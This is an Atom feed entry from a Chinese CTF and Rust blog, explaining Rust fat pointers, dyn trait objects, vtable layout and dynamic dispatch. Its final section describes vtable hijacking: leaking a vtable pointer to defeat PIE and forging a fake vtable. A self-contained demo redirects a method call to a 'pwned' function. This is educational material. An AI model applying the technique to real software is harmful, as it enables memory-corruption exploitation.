<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>DODOR</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://dodor.top/</id>
  <link href="https://dodor.top/" rel="alternate"/>
  <link href="https://dodor.top/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, DODOR</rights>
  <subtitle>CTF 复现与总结、Rust 等技术学习笔记、折腾记录</subtitle>
  <title>DODOR's BLOG</title>
  <updated>2026-08-30T07:27:29.571Z</updated>
  <entry>
    <author>
      <name>DODOR</name>
    </author>
    <category term="技术" scheme="https://dodor.top/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="Rust" scheme="https://dodor.top/tags/Rust/"/>
    <content>
      <![CDATA[<p>真是好久没更新了，上次的知识补全计划也咕咕咕了（</p><p>还是用一个程序作为例子展开讲罢</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">trait</span> <span class="token type-definition class-name">Greet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">struct</span> <span class="token type-definition class-name">Cat</span><span class="token punctuation">;</span><span class="token keyword">impl</span> <span class="token class-name">Greet</span> <span class="token keyword">for</span> <span class="token class-name">Cat</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span> <span class="token punctuation">&#123;</span> <span class="token string">"meow"</span><span class="token punctuation">.</span><span class="token function">into</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">fn</span> <span class="token function-definition function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> c <span class="token operator">=</span> <span class="token class-name">Cat</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> d<span class="token punctuation">:</span> <span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span> <span class="token operator">=</span> <span class="token operator">&amp;</span>c<span class="token punctuation">;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> <span class="token namespace">std<span class="token punctuation">::</span>mem<span class="token punctuation">::</span></span><span class="token function">size_of</span><span class="token punctuation">::</span><span class="token operator">&lt;</span><span class="token operator">&amp;</span><span class="token class-name">Cat</span><span class="token operator">></span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 8</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> <span class="token namespace">std<span class="token punctuation">::</span>mem<span class="token punctuation">::</span></span><span class="token function">size_of</span><span class="token punctuation">::</span><span class="token operator">&lt;</span><span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span><span class="token operator">></span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 16</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="胖指针"><a href="#胖指针" class="headerlink" title="胖指针"></a>胖指针</h2><p>上面的<code>&amp;dyn Greet</code>是16字节</p><p><code>&amp;[u8]</code> 同样是 16 字节：</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> <span class="token namespace">std<span class="token punctuation">::</span>mem<span class="token punctuation">::</span></span><span class="token function">size_of</span><span class="token punctuation">::</span><span class="token operator">&lt;</span><span class="token operator">&amp;</span><span class="token punctuation">[</span><span class="token keyword">u8</span><span class="token punctuation">]</span><span class="token operator">></span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 16</span><span class="token keyword">let</span> s<span class="token punctuation">:</span> <span class="token operator">&amp;</span><span class="token punctuation">[</span><span class="token keyword">u8</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// 内存布局: (数据指针, 长度)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>因为切片要支持 <code>s.len()</code>，光有一个起始地址不够，得把长度带上。于是 <code>&amp;[T]</code> 变成”数据指针 + usize 长度”两个 word。<code>&amp;str</code> 同理，<code>str</code> 的元数据也是长度。</p><p>Rust 把这种指针 + 附加信息的结构叫胖指针（fat pointer）。元数据类型由 <code>Pointee</code> trait 的关联类型 <code>Metadata</code> 决定，目前只有两种：</p><ul><li>切片 &#x2F; <code>str</code>：长度（usize）</li><li>trait object：虚表指针</li></ul><p>瘦指针（thin pointer）就是一个裸地址，比如 <code>&amp;Cat</code>、<code>*const u8</code>。</p><h2 id="dyn-是什么"><a href="#dyn-是什么" class="headerlink" title="dyn 是什么"></a>dyn 是什么</h2><p><code>dyn Greet</code> 是一个实现了 <code>Greet</code>、但类型未知的东西，它叫 trait object（trait 对象）。</p><p>什么时候会需要它？编译期你只知道”它实现了 <code>Greet</code>“，不知道具体是 Cat 还是 Dog，却想把它们塞进同一个容器、传给同一个函数。泛型做不到这件事——泛型是单态化，<code>Vec&lt;Box&lt;Cat&gt;&gt;</code> 和 <code>Vec&lt;Box&lt;Dog&gt;&gt;</code> 是两个完全不同的类型，放不进同一个 <code>Vec</code>：</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">trait</span> <span class="token type-definition class-name">Greet</span> <span class="token punctuation">&#123;</span> <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">struct</span> <span class="token type-definition class-name">Cat</span><span class="token punctuation">;</span> <span class="token keyword">impl</span> <span class="token class-name">Greet</span> <span class="token keyword">for</span> <span class="token class-name">Cat</span> <span class="token punctuation">&#123;</span> <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span> <span class="token punctuation">&#123;</span> <span class="token string">"meow"</span><span class="token punctuation">.</span><span class="token function">into</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span> <span class="token punctuation">&#125;</span><span class="token keyword">struct</span> <span class="token type-definition class-name">Dog</span><span class="token punctuation">;</span> <span class="token keyword">impl</span> <span class="token class-name">Greet</span> <span class="token keyword">for</span> <span class="token class-name">Dog</span> <span class="token punctuation">&#123;</span> <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span> <span class="token punctuation">&#123;</span> <span class="token string">"woof"</span><span class="token punctuation">.</span><span class="token function">into</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span> <span class="token punctuation">&#125;</span><span class="token keyword">let</span> <span class="token keyword">mut</span> pets<span class="token punctuation">:</span> <span class="token class-name">Vec</span><span class="token operator">&lt;</span><span class="token class-name">Box</span><span class="token operator">&lt;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span><span class="token operator">>></span> <span class="token operator">=</span> <span class="token class-name">Vec</span><span class="token punctuation">::</span><span class="token function">new</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>pets<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token class-name">Box</span><span class="token punctuation">::</span><span class="token function">new</span><span class="token punctuation">(</span><span class="token class-name">Cat</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>pets<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token class-name">Box</span><span class="token punctuation">::</span><span class="token function">new</span><span class="token punctuation">(</span><span class="token class-name">Dog</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> p <span class="token keyword">in</span> <span class="token operator">&amp;</span>pets <span class="token punctuation">&#123;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> p<span class="token punctuation">.</span><span class="token function">greet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// meow / woof</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>Vec&lt;Box&lt;dyn Greet&gt;&gt;</code> 里每个元素的真实类型都不同，但对外的接口一致。每次<code>p.greet()</code> 调用时要查这个元素到底是谁、它的 greet 在哪，然后跳过去。这种运行期才确定调谁的写法，叫动态分发（dynamic dispatch）；泛型在编译期就确定调谁，叫静态分发（static dispatch）。</p><p>动态分发多一层间接调用，通常也告别了内联，这是它的主要代价；换来的是”用一个统一的类型装任意实现”。<code>dyn</code> 本身是未定大小的（<code>!Sized</code>），不能拿 <code>dyn Greet</code> 直接当值用，必须放在引用、指针或盒子后面，像<code>&amp;dyn Greet</code>、<code>Box&lt;dyn Greet&gt;</code>、<code>Rc&lt;dyn Greet&gt;</code> 都行。</p><h2 id="dyn-Trait"><a href="#dyn-Trait" class="headerlink" title="dyn Trait"></a>dyn Trait</h2><p><code>&amp;dyn Greet</code> 的 16 字节拆开是：</p><pre class="line-numbers language-none"><code class="language-none">data   : *const ()   &#x2F;&#x2F; 指向具体对象vtable : *const ()   &#x2F;&#x2F; 指向类型 Cat 的 Greet 实现表<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>旧版标准库里有个 <code>std::raw::TraitObject</code>，就是这个结构，专门用来拆 trait object：</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token attribute attr-name">#[repr(C)]</span><span class="token keyword">pub</span> <span class="token keyword">struct</span> <span class="token type-definition class-name">TraitObject</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">pub</span> data<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">mut</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token keyword">pub</span> vtable<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">mut</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>它后来被移出了标准库，我这个版本的 rustc 里 <code>std::raw</code> 已经不存在了。但仍然可以借助transmute：</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token attribute attr-name">#[repr(C)]</span><span class="token keyword">struct</span> <span class="token type-definition class-name">TraitObject</span> <span class="token punctuation">&#123;</span> data<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> vtable<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span><span class="token keyword">let</span> to<span class="token punctuation">:</span> <span class="token class-name">TraitObject</span> <span class="token operator">=</span> <span class="token keyword">unsafe</span> <span class="token punctuation">&#123;</span> <span class="token namespace">std<span class="token punctuation">::</span>mem<span class="token punctuation">::</span></span><span class="token function">transmute</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token macro property">assert_eq!</span><span class="token punctuation">(</span>to<span class="token punctuation">.</span>data <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token class-name">Cat</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>c <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token class-name">Cat</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>ps：这个 transmute 是合法的：两个类型都是 16 字节，引用转成裸指针对没有别名问题。不过日常写代码用不到它，下面有更干净的观察方式。</p><h2 id="vtable"><a href="#vtable" class="headerlink" title="vtable"></a>vtable</h2><p>rustc 生成 vtable 的逻辑在 <code>compiler/rustc_middle/src/ty/vtable.rs</code>。布局如下（rustc 把它标为 explicitly unstable，不保证稳定；下文实测基于 rustc 1.97.1）：</p><table><thead><tr><th>偏移</th><th>内容</th></tr></thead><tbody><tr><td>0</td><td><code>drop_in_place</code> 函数指针</td></tr><tr><td>1</td><td>具体类型的大小（size）</td></tr><tr><td>2</td><td>具体类型的对齐（align）</td></tr><tr><td>3..</td><td>方法指针，按 trait 声明顺序，超 trait 的方法在前</td></tr></tbody></table><p>前三个条目是 vtable 的”头”。有了它们，运行时不需要知道具体类型就能完成 drop、算 size、算 align —— <code>size_of_val</code>、<code>align_of_val</code> 就是这么实现的。</p><p>把上一节的 <code>to.vtable</code> 当 usize 数组读出来：</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">let</span> vt <span class="token operator">=</span> to<span class="token punctuation">.</span>vtable <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token keyword">usize</span><span class="token punctuation">;</span><span class="token keyword">unsafe</span> <span class="token punctuation">&#123;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;:p&#125;"</span><span class="token punctuation">,</span> <span class="token operator">*</span>vt <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// drop_in_place</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> <span class="token operator">*</span>vt<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token comment">// size</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> <span class="token operator">*</span>vt<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token comment">// align</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;:p&#125;"</span><span class="token punctuation">,</span> <span class="token operator">*</span>vt<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// greet</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>Cat</code> 是零大小类型（ZST），输出是：</p><pre class="line-numbers language-none"><code class="language-none">0x0   &#x2F;&#x2F; 不需要 drop，drop_in_place 是空指针0     &#x2F;&#x2F; size1     &#x2F;&#x2F; align0x55… &#x2F;&#x2F; greet 的函数指针<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>如果换成一个带字段的类型就能看到真实值。<code>struct Dog { name: String }</code> 的 vtable：</p><pre class="line-numbers language-none"><code class="language-none">drop_in_place &#x3D; 0x55…   &#x2F;&#x2F; 真实的 drop glue 代码size          &#x3D; 24      &#x2F;&#x2F; size_of::&lt;Dog&gt;()align         &#x3D; 8greet         &#x3D; 0x55…shout         &#x3D; 0x55…<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>rustc 源码里对应这段逻辑：<code>ty.needs_drop</code> 为 false 时 <code>drop_in_place</code> 写空指针，否则写 drop glue 的地址。</p><h2 id="一次动态分发"><a href="#一次动态分发" class="headerlink" title="一次动态分发"></a>一次动态分发</h2><p><code>d.greet()</code> 在编译期不知道 <code>d</code> 背后是 Cat 还是别的类型，不能直接 call。于是就</p><ol><li>从 vtable 偏移 3 取出函数指针</li><li>把 <code>d</code> 的两个 word（data, vtable）作为参数传进去</li></ol><p>trait 方法 <code>fn greet(&amp;self)</code> 在 ABI 层收到的 self 就是这两个 word。</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">type</span> <span class="token type-definition class-name">GreetFn</span> <span class="token operator">=</span> <span class="token keyword">unsafe</span> <span class="token keyword">fn</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span><span class="token punctuation">;</span><span class="token keyword">let</span> vt <span class="token operator">=</span> to<span class="token punctuation">.</span>vtable <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token keyword">usize</span><span class="token punctuation">;</span><span class="token keyword">unsafe</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> greet<span class="token punctuation">:</span> <span class="token class-name">GreetFn</span> <span class="token operator">=</span> <span class="token namespace">std<span class="token punctuation">::</span>mem<span class="token punctuation">::</span></span><span class="token function">transmute</span><span class="token punctuation">(</span><span class="token operator">*</span>vt<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> out <span class="token operator">=</span> <span class="token function">greet</span><span class="token punctuation">(</span>to<span class="token punctuation">.</span>data<span class="token punctuation">,</span> to<span class="token punctuation">.</span>vtable<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;out&#125;"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// meow</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>把函数指针 transmute 成别的签名是 UB 敏感操作，这里只为演示。但调用约定是确定的：dyn 方法第一个参数是数据指针，第二个是 vtable 指针。</p><p>对比静态分发：泛型函数 <code>fn f&lt;T: Greet&gt;(x: &amp;T)</code> 里调 <code>x.greet()</code>，单态化之后是一次直接调用，可以内联。dyn 多了 vtable 的一次内存加载和一次间接跳转。像是异质集合 <code>Vec&lt;Box&lt;dyn Greet&gt;&gt;</code> 只能用 dyn。在性能敏感的路径用泛型。</p><h2 id="超-trait-与-upcasting"><a href="#超-trait-与-upcasting" class="headerlink" title="超 trait 与 upcasting"></a>超 trait 与 upcasting</h2><p><code>trait Animal: Greet</code> 的情况下，<code>&amp;dyn Animal</code> 的 vtable 长这样：</p><pre class="line-numbers language-none"><code class="language-none">[drop_in_place, size, align, greet, shout, name, ...]<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>超 trait 的方法排前面，然后才是自己的。</p><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">let</span> a<span class="token punctuation">:</span> <span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Animal</span> <span class="token operator">=</span> <span class="token operator">&amp;</span>c<span class="token punctuation">;</span><span class="token keyword">let</span> up<span class="token punctuation">:</span> <span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span> <span class="token operator">=</span> a<span class="token punctuation">;</span>   <span class="token comment">// upcast</span><span class="token comment">// up 的 vtable 指针和 a 的完全相同</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Greet 的方法在两个 vtable 里都在偏移 3、4，所以 <code>dyn Animal</code> 转 <code>dyn Greet</code> 不需要调整 vtable 指针，直接复用。rustc 的 vtable 还有一种 <code>TraitVPtr</code> 条目，指向单独的超 trait vtable，算是给 upcasting 用的兜底。</p><p>顺带提 dyn 兼容性的两个边界：</p><ul><li><code>fn new() -&gt; Self where Self: Sized</code> 这类非分发方法不占 vtable 槽位，trait 仍可 dyn</li><li>泛型方法（<code>fn id&lt;T&gt;(&amp;self, x: T)</code>）会让整个 trait 失去 dyn 兼容性，编译直接报 E0038</li></ul><h2 id="虚表劫持"><a href="#虚表劫持" class="headerlink" title="虚表劫持"></a>虚表劫持</h2><p>上面一直在”读”虚表。把它当安全点看，整条链路里真正被信任的是那个 <code>vtable_ptr</code>：虚派发每次都从 <code>vtable_ptr</code> 指向的地方按偏移取函数指针再间接调用。rustc 假定它是可信的，因为它指向只读数据段。可一旦某个越界写能改掉一个 trait object 的 <code>vtable_ptr</code>，这套信任就没了。</p><p><code>unsafe</code> 的指针算术没有边界检查。常见的一种场景：功能对象被存成 <code>Box&lt;dyn Trait&gt;</code> 数组，某个下标的读写只在”上层逻辑&#x2F;编译器”那里检查过，底层却直接 <code>ptr.add(idx)</code> 访问。于是：</p><ul><li>越界读胖指针的第二个 word，就能<strong>泄漏 <code>vtable_ptr</code></strong>。vtable 在二进制里有固定偏移（可以用 <code>readelf -r</code> 在重定位表里反查出来），泄出它就能算出 PIE 基址。</li><li>越界写同一个 word，就能<strong>把 <code>vtable_ptr</code> 改成自己可控的内存</strong>。虚派发只读”方法条目所在的那个偏移”，所以伪造虚表根本不用管 drop&#x2F;size&#x2F;align，只要保证方法那一项指向目标函数。</li></ul><pre class="line-numbers language-rust" data-language="rust"><code class="language-rust"><span class="token keyword">trait</span> <span class="token type-definition class-name">Greet</span> <span class="token punctuation">&#123;</span> <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">struct</span> <span class="token type-definition class-name">Cat</span><span class="token punctuation">;</span><span class="token keyword">impl</span> <span class="token class-name">Greet</span> <span class="token keyword">for</span> <span class="token class-name">Cat</span> <span class="token punctuation">&#123;</span> <span class="token keyword">fn</span> <span class="token function-definition function">greet</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token keyword">self</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span> <span class="token punctuation">&#123;</span> <span class="token string">"meow"</span><span class="token punctuation">.</span><span class="token function">into</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span> <span class="token punctuation">&#125;</span><span class="token keyword">fn</span> <span class="token function-definition function">win</span><span class="token punctuation">(</span>_data<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> _vt<span class="token punctuation">:</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span> <span class="token punctuation">&#123;</span> <span class="token string">"pwned"</span><span class="token punctuation">.</span><span class="token function">into</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#125;</span><span class="token attribute attr-name">#[repr(C)]</span><span class="token keyword">struct</span> <span class="token type-definition class-name">FakeVt</span> <span class="token punctuation">&#123;</span>    drop<span class="token punctuation">:</span> <span class="token keyword">usize</span><span class="token punctuation">,</span>    size<span class="token punctuation">:</span> <span class="token keyword">usize</span><span class="token punctuation">,</span>    align<span class="token punctuation">:</span> <span class="token keyword">usize</span><span class="token punctuation">,</span>    method<span class="token punctuation">:</span> <span class="token keyword">unsafe</span> <span class="token keyword">fn</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">-></span> <span class="token class-name">String</span><span class="token punctuation">,</span> <span class="token comment">// +0x18，方法 0</span><span class="token punctuation">&#125;</span><span class="token keyword">fn</span> <span class="token function-definition function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> c <span class="token operator">=</span> <span class="token class-name">Cat</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> <span class="token keyword">mut</span> d<span class="token punctuation">:</span> <span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span> <span class="token operator">=</span> <span class="token operator">&amp;</span>c<span class="token punctuation">;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> d<span class="token punctuation">.</span><span class="token function">greet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// meow</span>    <span class="token keyword">let</span> fake <span class="token operator">=</span> <span class="token class-name">FakeVt</span> <span class="token punctuation">&#123;</span> drop<span class="token punctuation">:</span> <span class="token number">0</span><span class="token punctuation">,</span> size<span class="token punctuation">:</span> <span class="token number">0</span><span class="token punctuation">,</span> align<span class="token punctuation">:</span> <span class="token number">0</span><span class="token punctuation">,</span> method<span class="token punctuation">:</span> win <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token comment">// 把 d 的 vtable_ptr 指向伪造虚表 —— 实际攻击里这一步来自越界写</span>    <span class="token keyword">let</span> slot <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token keyword">mut</span> d <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">mut</span> <span class="token operator">&amp;</span><span class="token keyword">dyn</span> <span class="token class-name">Greet</span> <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">mut</span> <span class="token punctuation">[</span><span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">unsafe</span> <span class="token punctuation">&#123;</span> <span class="token punctuation">(</span><span class="token operator">*</span>slot<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">&amp;</span>fake <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token class-name">FakeVt</span> <span class="token keyword">as</span> <span class="token operator">*</span><span class="token keyword">const</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token macro property">println!</span><span class="token punctuation">(</span><span class="token string">"&#123;&#125;"</span><span class="token punctuation">,</span> d<span class="token punctuation">.</span><span class="token function">greet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// pwned</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出是：</p><pre class="line-numbers language-none"><code class="language-none">meowpwned<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>这跟 C++ 里劫持对象的 vptr 思路一致，差的就是Rust 把 vtable 指针放在引用&#x2F;盒子里而不是对象内部，所以攻击目标从对象体里的 vptr转向对象旁边独立的 16 字节胖指针。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li>Static and Dynamic Dispatch — The Rust Programming Language<br><a href="https://rust.googlesource.com/rust/+/cff0b78ce7a46daf2e6f8de16273ef2e10b6fea6/src/doc/trpl/static-and-dynamic-dispatch.md">https://rust.googlesource.com/rust/+/cff0b78ce7a46daf2e6f8de16273ef2e10b6fea6/src/doc/trpl/static-and-dynamic-dispatch.md</a></li><li>Rust: Static vs Dynamic Dispatch — SoftwareMill<br><a href="https://softwaremill.com/rust-static-vs-dynamic-dispatch/">https://softwaremill.com/rust-static-vs-dynamic-dispatch/</a></li></ul>]]>
    </content>
    <id>https://dodor.top/2026/08/23/rust-vtable-fat-pointer/</id>
